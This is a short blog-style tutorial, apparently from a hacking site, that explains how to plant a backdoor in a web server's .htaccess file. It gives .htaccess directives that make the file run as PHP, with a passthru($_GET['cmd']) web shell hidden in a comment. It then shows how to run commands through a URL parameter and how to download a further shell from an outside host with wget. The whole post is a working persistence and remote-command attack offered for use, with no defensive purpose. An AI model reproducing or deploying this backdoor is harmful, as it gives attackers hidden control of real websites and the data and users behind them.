We Creating Backdoor in .htaccess(Hypertext access)
1: Go public_html in shell and need to edit the .htaccess.
PHP Codes
-------------------------------------------------------
<?php
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php .htaccess
# <?php passthru($_GET['cmd']); ?>
-------------------------------------------------------
And need to type CMD Commands like this
yoursite.com/.htaccess?cmd=
For Shell Upolad
yoursite.com/.htaccess?cmd=wget -O xyz.php http://yourothersitewithshell/yourshell.txt
Now you can access your shell..
Share This Post »»
|
|
Tweet |
0 comments :
Post a Comment